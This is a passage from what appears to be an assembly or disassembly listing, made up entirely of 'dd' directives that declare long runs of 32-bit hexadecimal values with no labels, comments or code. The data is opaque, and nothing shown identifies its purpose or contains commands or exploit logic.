0AB3E8B6Ch, 59026AD9h, 5F2C5E43h, 801316Ah dd 51BDC5E9h, 7A108DD6h, 752DEA31h, 8239E63Fh, 75E2CAE9h dd 1D204D14h, 0EAD100F0h, 840FD039h, 0A2A82B5Ch, 0D5EC9CBAh dd 0CA388998h, 7CAB06AEh, 95B2DAF7h, 207FEC0Bh, 0C98E232h dd 626467AEh, 17AA824Bh, 0D957056Ah, 0BE5164C8h, 69E7DEF2h dd 0F4A5CD79h, 568F3EAEh, 0FB494BA6h, 0AEEBB804h, 0C30358ACh dd 5BE61629h, 96B8EAFCh, 0CFAB1DA2h, 0C205ECD0h, 4E747116h dd 5B625FC2h, 0F53ADBBh, 425AFFA4h, 35205D9Bh, 33E4659Eh dd 49C98106h, 20727573h, 23B04355h, 0F46456EEh, 1CAB212Eh dd 5294C29Eh, 0E25732B4h, 5E474228h, 0BA5A2D3Ch, 0FE97B9E6h dd 0C5BA9F0Eh, 0EE3AF275h, 344A9B4Eh, 137605BBh, 12BFA50Eh dd 8C1CBFEFh, 68D161FBh, 6D3F1F99h, 28ECDA3Dh, 7074172Eh dd 9A86D42h, 630510F7h, 0ABD92E8h, 547668F1h, 91BA872Dh dd 0F84A651Eh, 685E05B5h, 8EAE658Ch, 0D6C12D01h, 4EE989A5h dd 974042C2h, 0A7260C61h, 94165848h, 2154D9FEh, 79B7F49Bh dd 550BA7B3h, 61F98554h, 0C4D5E2EEh, 0ADD30AA5h, 6E0CB9EBh dd 0F3ED6F80h, 8983A3AEh, 0FBA05DFAh, 460976C0h, 7DEF77Fh dd 0FF8B070Fh, 72C83C9Ch, 471E3CC1h, 24F81D40h, 2FF382D4h dd 1F40503h, 0FCD00E01h, 0CE3C89FAh, 8854E982h, 3A266801h dd 1889A73Fh, 0C5A7B790h, 92FC2768h, 1AD0D580h, 0E91966CEh dd 0EA379518h, 572DCE32h, 0DD058260h, 972BBC16h, 0CD2209AAh dd 840B3364h, 408E70Bh, 90EC990h, 7EC6C99Dh, 0B8FA19F7h dd 775EF652h, 0BC502585h, 35419217h, 76A20619h, 1DC7C43Fh dd 0B5AA4907h, 3D0F735Dh, 41831F96h, 0D168E32Fh, 0DE306E7Ah dd 3F2C77F6h, 87055370h dd 0A365CA5Ch, 0D9090234h, 72C12FE9h, 4E057883h, 0B8131333h dd 0C2C9DE59h, 800C733Bh, 0C1342305h, 0F028017Fh, 48BA072Dh dd 0FC58F32Dh, 62750F3h, 96092EBBh, 5BA8467Fh, 0BFCA170Ah dd 6494E178h, 0EBBE0A21h, 201F8956h, 6ED96709h, 95F9B8E0h dd 0B1678AD8h, 46F1F31Fh, 720DF12h, 174E12CBh, 0F550BE3Bh dd 575B0308h, 3B5DE7E9h, 1AA4E0A3h, 0CB5C92D1h, 0DE551007h dd 0C85F134Eh, 27B43844h, 10C6010Bh, 80BD7CBAh, 74EECC88h dd 4EBC3753h, 0B25BEDB7h, 466F1215h, 97E337EAh, 0EB20B9D2h dd 27E0110h, 3E071390h, 4F229227h, 5FF485F2h, 0F2BF1746h dd 6BDAFAB4h, 0C0401AB3h, 0B93E4137h, 293A157Ch, 1EE302BBh dd 40157E5Fh, 18079996h, 1A4B36D9h, 2DF2703Ah, 30BC176h dd 5086E956h, 4AD9E38h, 0FFAF0DF8h, 0D8CC34A1h, 5449D5Bh dd 0C554E977h, 8B44F08Bh, 60099DF8h, 0B8C06BDCh, 90266D03h dd 7E02E57h, 6549026Fh, 95411AD2h, 93CF88Bh, 8A8175BAh dd 0D4FC6E48h, 0D0C4ABD3h, 2ED72DEFh, 0E91737A7h, 0BA88407Fh dd 75BC2373h, 75AD0B0h, 0A9C2C8C0h, 56063754h, 13574916h dd 41F2F08Eh, 0A0612FA3h, 0EE09CDC0h, 0ECE45D4Bh, 0BCE11663h dd 5C7609BAh, 0A50966F3h, 80A55CF2h, 16D24902h, 0B3288868h dd 2D30CAD6h, 4C1A95B9h, 47485098h, 5C1F180Bh, 3210C3Fh dd 5D6C1D24h, 0E4654009h, 8D30049Fh, 0A1FD01B2h, 0F360F894h dd 0B5E97D0Bh, 88BC7CE7h, 5E2A0173h, 7C486825h, 0D5598838h dd 0BB20C82Fh, 54E41C64h, 0C20A301h, 93CF059Eh, 0F1496AFh dd 2428769Dh, 21E22F8Ch, 0D55A1254h, 5F2FC834h, 4E3AC68Dh dd 408CFD30h, 5224A8C3h, 1D090693h, 0B63EA20Fh, 978C7128h dd 0B8E65625h, 42BE13D1h, 84421AAh, 12D5225Dh, 77A27F0Bh dd 1F81680Bh, 0C5697FDEh, 0DC9536B7h, 3BC74020h, 4FFDFE29h dd 52FF8E5Bh, 0E9530475h, 89EE08E5h, 0DE764177h, 0F9FFC53Dh dd 0D4E27E47h, 2A688A40h, 16B07A4h, 0DE339BBBh, 68DCE927h dd 5056004Eh, 6E582068h, 0E05E676h, 8991A7E4h, 6A70C62Ch dd 758ECE94h, 7202E921h, 51623371h, 0D8BAE75Fh, 0BD561CAh dd 519BD498h, 0DEE6683Ch, 473B1209h, 891AA7A7h, 15AAE075h dd 36EB283Dh, 0E720AF4h, 2E6714Ch, 0A8374B83h, 5088055h dd 179F7BFAh, 52EFE934h, 9044EB3Dh, 0FC94A35Eh, 0B3AE3684h dd 0CAD1C6B6h, 2AD87739h, 0FBFD8CB9h, 368B142h, 0F410ED80h dd 314C5357h, 0C9046B48h, 0D069C067h, 32BE6859h, 4E6FE9BDh dd 78D45B02h, 62BAC9EFh, 2D6C6F8Ch, 755A23F4h, 29096E51h dd 2445DF5h, 0C21159BDh, 8209435Eh, 0D4030Eh, 32CACB81h dd 72568D30h, 13F3DD43h, 2DA31FEh, 5DE9D0CAh, 0E42449DEh dd 25137708h, 25790575h, 0C1FF9C1h, 0BF83ADF8h, 0D8824B79h dd 4049DA1Ah, 2CF28FDFh, 2516FAFDh, 553C09D7h, 6FB78482h dd 0FA573DDh, 0F9A6D501h, 353A0E69h, 6FF9E68h, 0E4C02A92h dd 955AD188h, 0E92DEF16h, 0BA628058h, 652C49E8h, 0D11DC95Ah dd 0DD4A5D84h, 17723C84h, 72ABD768h, 302725FEh, 0E9C8423Eh dd 47ACDF71h, 0DD12D7F4h, 3CA9CE29h, 9AA9F0E5h, 28756600h dd 2F2DD8F7h, 0D0FF3E7Ah, 44E82FC5h, 64B00D50h, 0B1586465h dd 2E802FDDh, 5BFC7424h, 2CB20Ah, 286EF181h, 571CFEh, 3723AABFh dd 0E9F9212Bh, 24F1A45Ah, 0BAB6952Ah, 0E916022Ah, 0B580A05Ch dd 0C5FE6312h, 64F53AA0h, 846506C8h, 5F22F885h, 594904BFh dd 0A839BF1Ah, 9C49FB2Bh, 4B03F064h, 68C79821h, 0D169FA2Dh dd 0C5BD81B3h, 2037404Eh, 0EE9C35B4h, 2198266Fh, 5BCD7F2Fh dd 0BD4600EEh, 274B0393h, 0E8B4D8B7h, 9D6EBF3Ah, 722AD49Dh dd 5830D675h, 5AD241CEh, 4DAC80C0h, 4B1B4412h, 949EE917h dd 3F66F5D0h, 0E8654AD0h, 0E949E010h, 0E34E5BAAh, 0FD3017ECh dd 0CDEFDCAEh, 0EB3BBA41h, 2F21066Dh, 978E82Ah, 227D7BE9h dd 183E795Dh, 0E7DB6B9h, 3AF84E7Dh, 7569CA9Ch, 5E5FA242h dd 0A7D65925h, 3CF772Eh, 351C5FA5h, 3041DEC9h, 2711FEFEh dd 0C62560Bh, 9E035E9Ah, 6F9A3445h, 0B6D015Dh, 9E60703Dh dd 77F70EEBh, 36E55139h, 88914F72h, 2AC6790h, 0EFE839D4h dd 6ACBFA4Bh, 0CF41E413h, 0B522587Eh, 44988300h, 5E014D2Bh dd 0CC15F2FBh, 9442713Dh, 0A02005Eh, 0D2F70163h, 2C9D9ED5h dd 9E47C5Fh, 0A3BB0412h, 0E4B21E40h, 0FCF6448h, 0EC306EB5h dd 0C4805981h, 0A3872A51h, 0BF6CE25h, 6010FD4Ch, 0EE301F1Ch dd 6F42CC9h, 0BF5A86F5h, 0EDA4D656h, 9B89370Bh, 6807137Fh dd 84E4B935h, 430987F0h, 0F3814754h, 13382786h, 42D7F20h dd 0F74DB479h, 0A805AFDFh, 8481EF83h, 0D83E1225h, 5941B715h dd 84D8F83Bh, 35ADD529h, 0ED4CAA12h, 4331C932h, 572CD20Ah dd 0F572B359h, 637F4200h, 0E91257DCh, 0DBD06590h, 7BEF0D64h dd 5552301Ah, 5BF5EE43h, 0FC4F152Fh, 0A008A0C0h, 264540AEh dd 27E4288Ch, 7B1E9EC0h, 5A674C82h, 25A9A6FDh, 265FD53h dd 0A5FFCC25h, 0A5B30B4Ah, 0B2400FF4h, 7DC38027h, 806D4B42h dd 0B4DFB30Dh, 66D66979h, 292798B6h, 0DA09105Fh, 16F795AAh dd 5D2BFC07h, 0EB04504Fh, 0C3C32805h, 3160BBD4h, 4F44673Ch dd 383C4A8Bh, 2D40DA9Dh, 8776BD21h, 5E530709h, 63935800h dd 24F17748h, 0E403E0BEh, 5ED6F75Ch, 8052E804h, 5DF6D35h dd 94E3F4FEh, 0BC680596h, 0B126433Fh, 9F98512Dh, 6B72E980h dd 44B44027h, 4F79F452h, 9EBEEC09h, 0DD824A09h, 0EE94C8BBh dd 41EAC9C8h, 0C6C56E3Eh, 0DFD0BAB8h, 8493E93Bh, 7002A23Ch dd 714195A0h, 0E6A86EE1h, 51EE38D2h, 0D49A5797h, 0FAE3DE77h dd 0A651F955h, 0C8FE4438h, 3E5B9211h, 5B25F1F7h, 134AC4FDh dd 0BC73DEE9h, 0C040C4E5h, 3C9839AFh, 1CC650CAh, 7D38F1E2h dd 11FAE04Ah, 4C6EF43Ch, 214D76E9h, 0CC39D112h, 6D2FDD12h dd 0E12F89Dh, 18112B54h, 70A1C3CDh, 64101318h, 690429B1h dd 85844299h, 3621BE86h, 0AA41315Eh, 80004A50h, 20519AC1h dd 617DB86h, 0C90EE286h, 0B7FB123Eh, 15524A7h, 14DFCA5h dd 0D464E2F7h, 0A1AD476Bh, 6004B829h, 605A0FB2h, 444922FBh dd 0D65F9F4Ah, 5FFB53D7h, 683721D5h, 0CA7CCE53h, 25509F62h dd 5BB044C5h, 5FECEF4Eh, 51EED180h, 5F9DF8E9h, 1A6AD220h dd 2DF66873h, 2BA6864Fh, 134A2C62h, 970F4E55h, 0F8502C71h dd 38D2A83Dh, 681AB54Ch, 14865960h, 9BC9DCB8h, 23DC04BAh dd 48B52AC1h, 0EA1D7267h, 6FD80BA4h, 0E9C090D7h, 0BF0770AEh dd 5FC5B471h, 2557D0D3h, 66ED850h, 84FDB9F6h, 5AD50116h dd 2880B5E9h, 0DC7EE9D8h, 57821095h, 887BBD0h, 0B43E5402h dd 2D04E913h, 112BBBFh, 3105EA40h, 82D3C9DAh, 53524308h dd 0AD9FE5Ah, 0B91D8CA5h, 0ABCAE8B9h, 3319578Ah, 67DAADDFh dd 10564842h, 0BB4E8E4Ah, 0F17A1D8Dh, 29EB2F3Fh, 0F43DA53Fh dd 8B89D188h, 543CA777h, 7B916287h, 0F7895F02h, 0E783E896h dd 0D02CE88Ch, 0BF6607CCh, 814015C1h, 0C2F0D9C7h, 4CD8CF0Ah dd 0A35EA9FFh, 0F2FB29C7h, 6181FF87h, 722862E9h, 671F03DAh dd 0E7899DFCh, 5E651AD2h, 0F1B80ECh, 0F68160F1h, 0DA522701h dd 33CFE954h, 0CB61E425h, 161FB93Bh, 9DEE57D4h, 21EF2F35h dd 7495E9DEh, 0B9359C1h, 61FB273Eh, 41EE30ABh, 2173E8BBh dd 71090D2Dh, 0B8FF35Dh, 9D1AA1A5h, 7A6A545Fh, 68868345h dd 0F7933563h dd 3E08A17Fh, 955D28AAh, 29E87B4Ah, 459BBFA4h, 3682AA4Bh dd 0BD63C6B4h, 50C528DBh, 395AAFF0h, 8F48C588h, 413C5816h dd 0A864D637h, 0D4B93016h, 0D5890DC9h, 273ACFF1h, 790AC939h dd 7D288F24h, 403EF3F3h, 219EE202h, 239769F6h, 0EC5AA67h dd 3910CE1Dh, 827F2CC9h, 0D74088B9h, 6F7EB23Bh, 53537064h dd 4839A9BAh, 295B2D9Fh, 0A7B6107Fh, 681286A9h, 0EAD87ED4h dd 0DD26128Bh, 361F86Eh, 2E9C6D72h, 4D6F7h, 940BF57h, 0FD211437h dd 0C5B6E924h, 7FC5B99Fh, 5BC05451h, 75E479F0h, 2B175D11h dd 0CE9A3458h, 7874D400h, 82B54F3Ah, 0DC0CE95Dh, 9AF71899h dd 813F4D5Dh, 0C5DD01EDh, 671BE98Ah, 0B0B74880h, 0C05BFD30h dd 0F607ED01h, 39E952DDh, 0AC630B7Eh, 0AED697D7h, 487A19E8h dd 59F97006h, 5CD983C9h, 0BDD302CFh, 0C4C0AA4Ah, 0B4A3894h dd 71FC4AE0h, 1AC28DEh, 123323CDh, 7B598F2Ah, 0A72B58C0h dd 0FCBC49D2h, 6D3E82AFh, 98C06129h, 252403A1h, 0AF10AD34h dd 3A846809h, 0F8555819h, 0A097DEE8h, 0F2627E09h, 0A0294147h dd 4626E106h, 54275C50h, 0E9E42066h, 60144BF4h, 0A5CC0C0Dh dd 6895C9DDh, 80EF5F0Eh, 0D64EB753h, 4BB6CBBBh, 7F52BCh dd 0B6525A66h, 0ADEDE923h, 80E71196h, 900DD7C7h, 95C330C4h dd 0A0F798F7h, 0DB7F8260h, 57803B1Fh, 0E94FDC33h, 91D3A068h dd 1115C404h, 59EF3000h, 0A8C99604h, 2E8077B3h, 0CF868BC7h dd 4075E912h, 4F29A1C8h, 2649A7F8h, 2185E61Dh, 0CFFA1C57h dd 7C52250Fh, 8371AEh, 0D76C97E9h, 5E41FA47h, 0D071C4A6h dd 0B1644BF8h, 4265A66Eh, 0D7E688DBh, 279AEBECh, 0F7915669h dd 0D48DEE80h, 89BDF668h, 129B71E6h, 2A2CA112h, 0D35161EEh dd 37AF2B86h, 7DF1A396h, 0ADF52D76h, 0FFF0ABBFh, 0DC593625h dd 786AFB0Ah, 1D082E28h, 0FBD12DA7h, 0B565133Dh, 0BD5512C8h dd 31E29830h, 6117DD99h, 4F0AC78Ch, 0E1C88965h, 26122A9Dh dd 3B47B7FBh, 0E2644A59h, 4E3AB0Eh, 93802F9Dh, 1A072490h dd 1CDF296Bh, 1715080Ah, 92B3603Ch, 3926942Ch, 66022B81h dd 7C4E3208h, 17150257h, 0AE636282h, 0E36570A1h, 0F17D1805h dd 7CFC58F0h, 85E1AC5Bh, 7E905F37h, 0B9285BDAh, 7F622DC3h dd 24AE004h, 906CE768h, 96BED6Eh, 22E9302Ch, 0B8052170h dd 9CAC7ED1h, 899904BAh, 5E03FBF2h, 90CD1F14h, 4FE9EA09h dd 62DEA4DEh, 5612B112h, 3D10B1A3h, 0E10C624Eh, 18BDA246h dd 7EEC5F60h, 0E618A0Eh, 5B5EC448h, 177EF8BAh, 0E88D3368h dd 4BBD02h, 8052B353h, 0F63DF300h, 0B55166DBh, 0C2E91761h dd 621EB27Ch, 0E4DDEF6h, 4EF581E1h, 3FB8687Bh, 85461BEEh dd 685FF02Eh, 0C7FE9DCCh, 5934BF60h, 77494D36h, 28277D3Eh dd 0C706FB7Ah, 343C7EA4h, 0F2EF090Ch, 0E0D58FBCh, 0AC05CDB6h dd 509E7BB1h, 9744F44Dh, 0A24D4D4Ch, 0F1F35F90h, 5BF82E7Bh dd 4D62A7E4h, 0D80B5FD4h, 808DF98Eh, 17576354h, 68248ABAh dd 0C20110F3h, 51610338h, 0EA7F0A6Eh, 73CE2D08h, 0E3303C41h dd 0B8A84025h, 203DC109h, 84287C77h, 342D50h, 250A3070h dd 0CE720F05h, 47D765ACh, 5B1C1090h, 4CBA6A02h, 0EEC379F7h dd 859FADD6h, 0A8F90DB8h, 5CCA2F77h, 6884F579h, 8EFB2FD0h dd 48DC7587h, 650BD268h, 7D33557Ch, 6AEB4202h, 0B440F1F6h dd 0E4DCF6ABh, 0CF524CD4h, 403F6517h, 0FA2CC86Dh, 68148B04h dd 0D3D75043h, 4118F3F0h, 8B6A201Ah, 2D0114B6h, 4054357Dh dd 966CA0E8h, 0DD126B81h, 0BA522260h, 0A4AF386Ch, 4DD0F343h dd 8E8A2FE9h, 13F044A1h, 0EE56EE77h, 80060632h, 0C55CA0D8h dd 0D08900FDh, 35E0D15Ah, 7004C2D7h, 0A363E99Ah, 681E2CFBh dd 98175E2Bh, 0A00EFE00h, 413CE91Bh, 0BAD6EDCh, 0D9758789h dd 0D5AAC2F0h, 878BE599h, 4FB468E4h, 1D655F09h, 69BF51AFh dd 6C6F71F5h, 9925E97Dh, 7A5E9865h, 8223B4B8h, 59641974h dd 6022D17Fh, 11EC6D93h, 0B0CF2926h, 0D1950820h, 0F9696EC3h dd 4D34257Ch, 854C8AAEh, 0B3EB4DFEh, 38948EB4h, 17EEC5A5h dd 0FE8F8A12h, 5F08B292h, 8109C672h, 892938C6h, 161CFCA8h dd 7BA2B19Fh, 0B6B1ECFCh, 1DEB0556h, 4892BC93h, 2455B73Ah dd 623C144Ah, 161C820h, 595B5453h, 317F21B6h, 46E82B69h dd 486C6882h, 7EE1877h, 5271976Ah, 0F03E844Fh, 264128EEh dd 194C5B7Ch, 29281E86h, 21A86597h, 4EB38F12h, 3E4E82Fh dd 0D57197D7h, 0A009AA2Ah, 727BFE58h, 56D9AB29h, 403D451Ah dd 0CB4EB8A1h, 0A905E0Dh, 60241B98h, 0D6039F6Bh, 4A59DC4Ch dd 66920366h, 919BCA87h, 0A0D0F7A9h, 533E0A0Ah, 51BF8F57h dd 0DCBBE27Dh, 81A64111h, 0FE51907Bh, 752DBC7Fh, 0CD6D129h dd 0BA84B96Eh, 0ED80F5B1h, 512B4895h, 8640B501h, 0C24C7407h dd 0FB6F1314h, 64E5F390h, 3B6958BFh, 44438506h, 5C0A3E52h dd 0D23BFB27h, 0A484142Fh, 7FBCAA43h, 3175683Ah, 0F6F438D3h dd 0D7E91345h, 1E56565Bh, 0F853090Ah, 8255839Ah, 0B42FD24h dd 0CC2704C1h, 28371DECh, 3D5810D4h, 1B7E5AA7h, 0EBFA4D8Ah dd 835FFB82h, 72BAFCEBh, 0DB933E74h, 2CBFD757h, 0D997BC8Ch dd 75F4A7A9h, 101B82DAh, 9B24460h, 0FB3AF27Dh, 5C5DFE42h dd 685E58FBh, 0B87A3D2Ch, 0E96055CBh, 8B9FE8E9h, 0F2110746h dd 1226888Eh, 5CD10158h, 2FD3FD0Ch, 3DD667EAh, 2CE743C0h dd 0BABE2E04h, 0BBE86Dh, 9C127FEAh, 0FE2D2163h, 8074F65Fh dd 39A977EAh, 98FB9DE9h, 86184E36h, 0E61B0F7Ch, 0D3C9F129h dd 630421A1h, 69D8C159h, 0DDE9E0D3h, 82E49139h, 63019BDh dd 2BB8BD5h, 517CF193h, 48FD802Ah, 0C4E90652h, 0BDC9D64Eh dd 0AAA4A7E0h, 0B04C7708h, 5FEEAB9Fh, 47BF85A3h, 0E057059Ah dd 107DAE88h, 9721268Eh, 5DEA5CABh, 0B8F39255h, 5D305E5Ch dd 2F271105h, 2E7013ECh, 0B0E90780h, 7A76249h, 727D87CBh dd 2115119h, 5332097h, 4548D260h, 181DDA30h, 58897DE2h dd 0FA58102Ah, 0E54DA816h, 0A80805F5h, 0BAC4D8FCh, 9912C4Bh dd 62A0021Bh, 0C5F2D78h, 2707060Ch, 5150ADE9h, 310FB2F8h dd 7253819Fh, 5D168B1Ah, 5B6939E4h, 7AA8426Ch, 3D3CEC6Ch dd 0F9738D2h, 2AD5AE9Eh, 99912D01h, 0D520AB0Ch, 0ED6217A7h dd 0A434AF43h, 20CC0C80h, 0FA5A5A8Fh, 9D8D3B04h, 92C87AD4h dd 3B3241B7h, 0AD0B23FFh, 6B2154Eh, 73DA710h, 76EB8058h dd 0DD281F92h, 27A427A8h, 82A6135Eh, 0E21786CAh, 0AA9855FCh dd 744A4B25h, 890269A9h, 370BE9D6h, 10A58D9h, 0CE01B9D1h dd 507E5960h, 587A237Fh, 1833C8F8h, 9217BEBh, 0B67BD9F7h dd 0F60E2EDEh, 0E813DFA4h, 7048E9C4h, 0A0DFA53Dh, 532642ABh dd 0DE351C66h, 56FD31Fh, 0A7EAA269h, 8CAF4AE8h, 4BC01893h dd 2A4C9FBEh, 0BD3FF46Ch, 3DF539E8h, 4806609h, 4AC69331h dd 805FBC20h, 0A567672h, 0A259B74Bh, 14D4D065h, 0C5F9F0FFh dd 27C05350h, 0C3C3CFE1h, 82D59ABh, 2A4C7AD8h, 63CC23FCh dd 6D98FECDh, 4C80443Fh, 0DAF9314Ch, 5FC23EF8h, 0A162A2F4h dd 0AFCFA3Fh, 72062F46h, 0F6E909ADh, 0FC337EA4h, 0FEBAC6D8h dd 0F797A1B1h, 16314C65h, 0EC4B5738h, 9AFB1FFh, 8543F67Ah dd 0F647F4E9h, 0A073CE01h, 0A0F4F25h, 3D6C5DDh, 6A0343BEh dd 16E1EC4Dh, 8F04B22Ch, 54D8451Dh, 67411E95h, 5EF30E2Dh dd 0AD209081h, 0B7873B70h, 0B90033C4h, 117F0FC1h, 67C9810Eh dd 7C2B094Dh dd 0D2070527h, 0D741FB39h, 2E9151FAh, 1859F1F8h, 0CB3FF0Eh dd 4DE00ADBh, 0C61CD80h, 8956313Eh, 6E90EC4h, 7D6A71BAh dd 0C10D0055h, 4001A72Ch, 4E6429E9h, 28C04922h, 7C1115CFh dd 0E8824E09h, 143313A2h, 8BB4B2EEh, 1261745Fh, 0C7B3EF5Eh dd 5ABA5132h, 93AC2FF7h, 9B0C9DD1h, 92E7E83Bh, 0D8E6941Fh dd 0D562A1C2h, 629F0F16h, 435E5F15h, 9AE95685h, 0C525A7F9h dd 4090BCDAh, 59C84997h, 1D1A823Ah, 681292F8h, 20A92616h dd 0FEA3EAA5h, 41648316h, 5D1B4D8Ch, 0B485A419h, 41347A07h dd 8AE7C01Eh, 241F616Eh, 0ADF480E9h, 0DCB5B0B4h, 0C2E8F25Bh dd 82678Ah, 0B745F1DAh, 0D9250043h, 0D6D850Fh, 0E10924CEh dd 82E8C14Ch, 5D534603h, 162D95C6h, 0F4A0EC2Eh, 0F9564AD6h dd 0CAFFA56Ah, 5136160Eh, 84833CBEh, 7A9D1512h, 59A23902h dd 0E9FEE095h, 0DC02163Eh, 0C780C4CDh, 0DB69CF99h, 0C9CA1F5h dd 6206920h, 0D34A4809h, 0EFD3F4F4h, 0EB810360h, 35393ADh dd 5CBA5290h, 3401C320h, 0AC548CF2h, 0E8F4A18h, 438C1508h dd 0E923C3Ch, 649ACD07h, 0E5606B85h, 4895178Fh, 0F5544619h dd 8E704C0h, 0EE5FEF80h, 394DF681h, 0F0448704h, 0C1542969h dd 0F75902F8h, 8012040Dh, 0D8804933h, 9427ABFh, 0B7DAE93Ch dd 86A8C1F3h, 4CB10759h, 5D5E771Eh, 89B1F2B8h, 0E2C61243h dd 9E7277A9h, 2B1F9D5Bh, 0C9E1D167h, 5F20BA57h, 71DF7689h dd 609089DDh, 2F7D147Fh, 52ABB53Eh, 57F32B5Dh, 0BC172184h dd 2BD4518Fh, 0E6F5B877h, 125FCBE0h, 39331568h, 972E30D8h dd 149C7F05h, 0E210F301h, 348B1208h, 69680ACBh, 680602B5h dd 46CC3F29h, 1FAC0C20h, 0CF5AC281h, 6B6562E6h, 3B6204B9h dd 931DE975h, 0FE987956h, 69C2BDF7h, 619FD157h, 63E64AE9h dd 0DF6814CEh, 9AFA4E8Dh, 0F8B95F64h, 0D33C5C96h, 0DA31EF45h dd 41CE54F6h, 7932E000h, 0F15E624h, 6CA95B7Bh, 0F281DA5Eh dd 0FC29AE3Eh, 6A85EA82h, 66FC5EA9h, 55CD9309h, 210F46F1h dd 0BECB64F0h, 5E3F48E4h, 0D3B0A329h, 9F528BDCh, 5B97274Eh dd 0BF08B0C2h, 3A512CA6h, 68D0D29Eh, 1ADC3507h, 45A211C9h dd 0B5257D12h, 0F620AF03h, 9FF48E4Dh, 9C92697Ah, 2D4FF10Dh dd 0E5E31427h, 0CC020816h, 43367252h, 0B9248579h, 4D82A506h dd 66CB48A3h, 2723831Ch, 0A10B65DDh, 181935F1h, 729E3513h dd 0FC0B2693h, 27E346BCh, 0D65E2868h, 535E5460h, 83B02BBh dd 72E9308Eh, 76BFD9E4h, 0DDA501EBh, 2B29C1E0h, 0C2D3E2C2h dd 51EA001h, 693F31EBh, 1DAB3140h, 17196D56h, 0FC3EB9B5h dd 9D874E56h, 6A82D6F5h, 0E366F74Bh, 3591EF7Ch, 74E95F97h dd 0D1FDE9E3h, 47CA09EEh, 95C3B26Fh, 0F6C81C8h, 7C00E49Bh dd 0C113155Ch, 6E054CE1h, 0C70AE405h, 5801C2Dh, 0EF216C73h dd 7BD4FF06h, 38C10173h, 13AEE5Bh, 15DF40F1h, 734CA92Eh dd 2F890FB2h, 0C5801D25h, 18CD2D37h, 0EE285EE9h, 41681221h dd 0F6BE84E7h, 5E351796h, 0F2304FB5h, 3636695Fh, 0F32C8D73h dd 331A08h, 7D72255Ah, 709F61D7h, 506C341h, 0A5F8FC2Dh dd 0C258014Eh, 6B1B2167h, 0F18A30DFh, 839CB13Ch, 2DB3E3B2h dd 0B6DED382h, 80C0D067h, 92847C3h, 4B2C5BD8h, 777A0574h dd 0B8258296h, 0B0446CACh, 597C163Dh, 70E706E1h, 6814DBCFh dd 0D0932381h, 0CC6E1389h, 68905037h, 2759157Dh, 187E5E33h dd 0F5CAF680h, 90569D73h, 0CEB2A00h, 0DE681823h, 333B8D54h dd 0E4424B7h, 2EA1ACBBh, 0FE89DF9Bh, 0E75BA24Ch, 0C2F2254Dh dd 9AD53750h, 0F57E5723h, 2734D24Bh, 8CF9D1FCh, 0A2BEF812h dd 35234CB1h, 2BE652Ah, 5020351Ah, 6D9A2860h, 568A91BFh dd 33D09089h, 0AC44457Fh, 6B080091h, 0C683634h, 0F65D0BCBh dd 92B82651h, 0E8CBBF51h, 5D323A55h, 6CE19A99h, 5F6882DBh dd 1A1B5550h, 472620C8h, 83EA8709h, 17335EEDh, 59DB85Ah dd 1741519Eh, 0AA39D604h, 0AF7D2C05h, 2EE99228h, 69DC03FEh dd 5675D412h, 2B2842F6h, 564278FCh, 69EAD5BEh, 264002DDh dd 3CD2516Ah, 0B85DED12h, 5BA59234h, 0DD30EAEBh, 5CA7380Ch dd 4950912h, 87C50BBh, 2755FC5Ah, 2CB72C11h, 89D317B9h dd 0E94130C1h, 68D244A6h, 1D6366ABh, 0BF3B5520h, 1EA4497Ch dd 0CA90DB38h, 328016B5h, 0A848F1CDh, 38E28100h, 65023D5Ah dd 583EAA96h, 47F29E74h, 1E5B8B05h, 1AB45729h, 2078B05Ah dd 0BD07463Bh, 204D7CC7h, 2E2CDA3h, 0DA4C555h, 4FC401BBh dd 0F50106DFh, 0CBD117Eh, 0EC3A4B61h, 0EF0102A1h, 575C52E9h dd 0D143F03Ah, 12C902EAh, 0AA977E2Dh, 845F34A3h, 0B004F2ABh dd 955EF521h, 0E925907Fh, 0B309B525h, 0E98D0C47h, 0AE2FCF19h dd 0B389735Eh, 6314FC88h, 0F30F4E0Dh, 61305EDh, 5DCE2901h dd 0AF5B445Ch, 0FD011E6Ch, 7A29F011h, 569E5DE8h, 5A27BC63h dd 31C960CAh, 4028BADDh, 2402177Dh, 2DF409C5h, 0E98470D6h dd 2C076051h, 0B050D181h, 21882AD9h, 0B414C066h, 80D4F631h dd 9845F439h, 0B61AC1E4h, 0ED287A27h, 414B9230h, 7A173067h dd 0BA649C9Dh, 0E1F72D5Fh, 2228CC1h, 6B0FE154h, 0C0FE924Dh dd 27432C68h, 0F5613D59h, 4069E69Ch, 0B1E16BF8h, 0E6C41D72h dd 0F99DAA73h, 86FDBC7Ah, 262B37F2h, 67E24694h, 797AE052h dd 5A7F17E0h, 0FC6D962Dh, 2361FA2Bh, 295C0039h, 613DB1CFh dd 5009E9C3h, 1E883E7h, 733709Dh, 16438A0Dh, 0C3E07B3Ah dd 0A5BDF4FFh, 0C056AFABh, 0CE6CC0BEh, 0CF3F2151h, 767E1312h dd 4A3AB2D3h, 0D664EF5Bh, 0CEBFC82h, 0A241685Ah, 120F2660h dd 10DC058h, 7B1A4503h, 56C73A0Eh, 0C2725719h, 9C265404h dd 90FB099Dh, 37246F4Dh, 9DF1794Ah, 0F026F820h, 0BA56B559h dd 0F00E870Ch, 388C2A68h, 13D84E8Eh, 0BCD9AF2Eh, 0B7876460h dd 980C4F59h, 63D43D4Ch, 30C20B0Dh, 65954713h, 0CE16A9F3h dd 3493A333h, 9C0411D3h, 0BB00F6E4h, 1E6E3AF8h, 81434B00h dd 672C4FCBh, 8E91248h, 17578A2Fh, 0A9D3821Fh, 1C4B983Eh dd 0D5F7094Dh, 9AFDA668h, 0DA78552Ch, 62A0D59Dh, 6BDC161Ch dd 0DCB4215Fh, 0F7EBC501h, 0C2AB20DAh, 35EC5849h, 9A89F4B5h dd 0A25C2634h, 20CAEC25h, 16809055h, 5880320Fh, 7DF37829h dd 1F2C9F2Ch, 5717ABB4h, 0FD016E66h, 79470825h, 1DD0CDD9h dd 68120B3Bh, 0A2D123B4h, 69490293h, 6565845Eh, 0A05A0116h dd 2F40E315h, 0C2A038BEh, 6BF36F09h, 159640BDh, 51BE80B1h dd 6A65937Dh, 4FA5EA2h, 0EFFE0122h, 7643F8A7h, 50AE2210h dd 123A89C1h, 5EEFDF63h, 1EC68291h, 9985282Ch, 200B9643h dd 0DB60F541h, 0CF7F1825h, 0F174262h, 5A519014h, 0A4B4C0BDh dd 5889B195h, 0B32717D3h, 0A59B0768h, 6F9267C6h, 0A27EE991h dd 128B9555h, 0A906B950h, 61B3DF80h, 2DB8E4BAh, 0E05C8831h dd 6E0500A3h, 0D095D0Fh, 7D3C290Bh, 